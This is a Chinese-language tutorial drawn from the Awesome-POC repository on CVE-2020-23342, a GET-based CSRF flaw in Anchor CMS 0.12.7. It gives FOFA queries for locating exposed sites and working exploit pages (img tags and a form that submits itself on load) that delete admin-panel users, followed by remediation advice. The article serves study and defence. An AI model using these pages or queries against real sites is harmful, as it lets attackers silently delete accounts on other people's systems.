- 网络安全
- 渗透测试
- 文档
【免费下载链接】Awesome-POC
一个漏洞 PoC 知识库。A knowledge base for vulnerability PoCs(Proof of Concept), with 1k+ vulnerabilities.
本文以开源漏洞 PoC 知识库 Awesome-POC 中收录的 Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342 文档为核心,完整解析该 GET 型 CSRF 漏洞的成因、资产测绘语法、exploit 构造与防御修复方案,帮助读者理解“敏感操作使用 GET 请求”这一经典反模式在真实 CMS 后台中的利用方式,并能够在授权环境下完成复现与加固。
一、漏洞概述
Anchor CMS 是一个以 PHP 编写的轻量级内容管理系统,因其安装简单、部署轻量而常用于搭建个人博客与小型站点。CVE-2020-23342 影响 Anchor CMS 0.12.7 版本,漏洞类型为跨站请求伪造(CSRF / XSRF)。
漏洞根因非常典型:Anchor CMS 后台对用户删除等敏感操作采用GET 方式提交请求,且服务端未校验请求来源(无 CSRF Token、未校验 Referer/Origin)。攻击者只需诱导已登录后台的管理员访问一个精心构造的恶意页面,浏览器就会在管理员会话中自动发起对后台接口的 GET 请求,从而在管理员毫不知情的情况下删除指定用户。
该漏洞的实战危害集中在以下几个方面:
- 会话信任滥用:攻击者完全不需要获取管理员口令,仅借助管理员浏览器中已存在的会话即可执行操作;
- 操作隐蔽:利用
<img>标签触发,无需 JavaScript、无需用户交互,页面加载即攻击完成; - 接口暴露:删除操作以明文 GET URL 呈现,URL 即 PoC,可被直接复制进任何 HTML 页面复用。
二、漏洞原理:GET 型 CSRF 的攻击链路
2.1 CSRF 攻击的三个前提
一次成功的 CSRF 攻击需要同时满足以下三个条件:
- 受害者处于登录态:管理员浏览器中保存着目标站点的有效会话 Cookie;
- 存在敏感操作请求:目标站点存在可改变数据/状态的接口,如删除用户、修改配置;
- 请求可被跨站构造:攻击者能在自己的页面中构造指向目标站点的请求,且浏览器会代为携带 Cookie。
CVE-2020-23342 同时满足上述三点:Anchor CMS 0.12.7 后台删除用户的 URL 为/index.php/admin/users/delete/{id},这是一个不携带任何校验令牌的 GET 请求。
2.2 为什么 GET 请求特别危险
GET 请求在 CSRF 场景中是最容易被利用的载体:
- 自动触发:
<img>、<iframe>、<script>、<link>等 HTML 标签在页面加载时就会自动发起 GET 请求,无需任何脚本; - 自动携带凭据:在传统 Cookie 机制下,浏览器向目标域名发起的请求会自动携带该域名的 Cookie(除非设置了 SameSite 等约束),因此管理员会话会被“免费借用”;
- 请求构造简单:攻击者甚至不需要知道请求体格式,URL 即请求的全部内容,可直接写在标签
src属性中。
对比 POST 型 CSRF 通常需要form表单或脚本辅助,GET 型 CSRF 的利用成本更低、触发更隐蔽——管理员只需“看了一眼”攻击者的页面,攻击便已完成。
2.3 利用前提与限制
实际利用时需注意以下前提:
- 目标站点须部署 Anchor CMS 0.12.7 版本;
- 目标后台存在管理员账号,且管理员浏览器持有有效登录会话;
- 浏览器策略未对 Cookie 做 SameSite 拦截(现代浏览器默认 Lax 策略会部分缓解 GET 型 CSRF,详见下文防御章节);
- 攻击者需能诱导管理员访问恶意页面,常见方式包括钓鱼邮件、论坛贴子、站内留言或第三方页面投放。
三、网络测绘与目标识别
利用 FOFA 等网络空间测绘引擎可以快速定位互联网上暴露的 Anchor CMS 站点。原文给出的测绘语法如下:
"Anchor CMS" && body="themes/default/img/favicon.png"该语法逐段含义为:
"Anchor CMS":精确匹配响应中出现的 “Anchor CMS” 特征(通常来自页面标题或 meta 信息);&&:逻辑“与”,同时满足两侧条件;body="themes/default/img/favicon.png":匹配响应 body 中包含默认主题 favicon 引用路径,用于进一步确认站点确实运行 Anchor CMS 默认主题。
在确认漏洞环境时,可在此基础上追加常规过滤条件缩小范围、提升准确率,例如:
"Anchor CMS" && body="themes/default/img/favicon.png" && country="CN"测绘阶段的目标仅是“定位目标”,后续复现必须严格在授权范围内进行。
四、漏洞复现
4.1 复现环境
- Anchor CMS 0.12.7 站点,假设部署于
http://target/anchor/(anchor为子目录;若部署在根目录则省略该段); - 一个可登录后台的管理员账号,用于模拟受害者会话;
- 攻击者可控的 HTML 页面(
exploit.html)。
4.2 构造 exploit.html
原文给出的 PoC 核心是一行<img>标签,当管理员访问包含该标签的页面时,浏览器会自动请求删除用户接口:
<img src="http://target/anchor/index.php/admin/users/delete/21">将该 PoC 整理为一个完整的可独立部署的恶意页面exploit.html:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CSRF PoC - Anchor CMS 0.12.7</title> </head> <body> <h1>Loading...</h1> <!-- 页面加载即触发:删除后台用户 ID 为 21 的用户 --> <img src="http://target/anchor/index.php/admin/users/delete/21"> </body> </html>4.3 触发流程
- 管理员正常登录 Anchor CMS 后台,保持会话有效;
- 管理员在浏览器中打开攻击者投放的
exploit.html; - 页面加载时,
<img>标签向http://target/anchor/index.php/admin/users/delete/21发起 GET 请求; - 浏览器自动携带管理员 Cookie,服务端在未做任何来源校验的情况下执行用户删除;
- 刷新后台用户管理列表,ID 为 21 的用户已被删除。
4.4 利用变体
批量删除多个用户:同一页面放置多个<img>标签即可批量触发:
<img src="http://target/anchor/index.php/admin/users/delete/21"> <img src="http://target/anchor/index.php/admin/users/delete/22"> <img src="http://target/anchor/index.php/admin/users/delete/23">基于表单的 GET 自动提交:某些场景下亦可使用表单 + 页面加载自动提交的方式构造 GET 请求,便于在需要携带额外参数的接口上复用:
<!DOCTYPE html> <html> <body onload="document.getElementById('f').submit();"> <form id="f" action="http://target/anchor/index.php/admin/users/delete/21" method="GET"></form> </body> </html>验证要点:请求是否携带会话 Cookie(可在浏览器 DevTools 中观察)、删除操作后用户列表变化、后台是否弹出任何二次确认(0.12.7 无确认机制,直接生效)。
五、修复与防御建议
CVE-2020-23342 的修复思路本质上是“切断 CSRF 三要素中的任意一环”,可从以下层面落地:
5.1 服务端修复(根本措施)
- 敏感操作改为 POST 请求:将用户删除、配置修改、权限变更等状态改变操作统一改为 POST,并同步调整路由与前端调用;
- 引入 CSRF Token:服务端为每个会话/表单生成一次性 Token,写入表单隐藏域并在服务端校验,从根本上拒绝跨站伪造的请求;
- 校验请求来源:对 POST 请求校验
Referer/Origin头,白名单放行同源请求,拒绝空来源与跨域来源; - 操作二次确认:对删除用户等破坏性操作增加弹窗确认或验证码,提升人为确认成本。
5.2 浏览器与会话层面
- 登录 Cookie 设置
SameSite=Lax(或更严格的Strict),使跨站子资源请求默认不携带 Cookie,可显著缓解 GET 型 CSRF; - 设置
HttpOnly与Secure标志,降低 Cookie 被 XSS 窃取的风险; - 升级 Anchor CMS 至已修复 CSRF 问题的版本,或对历史版本打安全补丁。
5.3 运维与管理制度
- 收敛后台暴露面:限制
/admin后台仅允许办公网段访问,避免直接被测绘引擎索引; - 最小化管理员权限:按角色分配后台权限,定期审计后台用户列表与登录日志,及时发现异常删除/新增;
- 安全意识培训:提醒管理员不要随意点击来源不明的链接,敏感操作前核对页面来源。
六、同类漏洞参考
本仓库 CMS漏洞 目录还收录了多篇 CSRF 类漏洞文档,可用于对比学习不同形态的跨站请求伪造:
- 74cms v5.0.1 后台跨站请求伪造漏洞 CVE-2019-11374:同样是后台 CSRF,但攻击目标为“任意添加后台管理员”,PoC 采用 POST 表单自动提交,与本文的 GET 型
img触发形成对照,可帮助读者系统掌握 CSRF 的两种主流利用形态。
参考
- 本仓库原文:Anchor CMS 0.12.7 跨站请求伪造 CVE-2020-23342.md
- 项目导航与免责声明:README.md
- 网络安全
- 渗透测试
- 文档
【免费下载链接】Awesome-POC
一个漏洞 PoC 知识库。A knowledge base for vulnerability PoCs(Proof of Concept), with 1k+ vulnerabilities.
相关推荐
StarRocks array_min 数组最小值函数:语法、示例与源码级实现解析
StarRocks array_min 数组最小值函数:语法、示例与源码级实现解析 array_min 是 StarRocks 提供的数组(ARRAY)聚合函数
网络安全渗透测试文档AdvancedLuban三种压缩模式全解析:FIRST_GEAR、THIRD_GEAR、CUSTOM_GEAR
AdvancedLuban三种压缩模式全解析:FIRST_GEAR、THIRD_GEAR、CUSTOM_GEAR AdvancedLuban是一款高效、简洁的A
终极指南:如何利用Nuclei Templates检测跨站请求伪造(CSRF)漏洞
终极指南:如何利用Nuclei Templates检测跨站请求伪造 CSRF 漏洞 跨站请求伪造 CSRF 是Web安全领域最常见的攻击类型之一,它允许攻击者在
网络安全漏洞扫描应用安全渗透测试
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考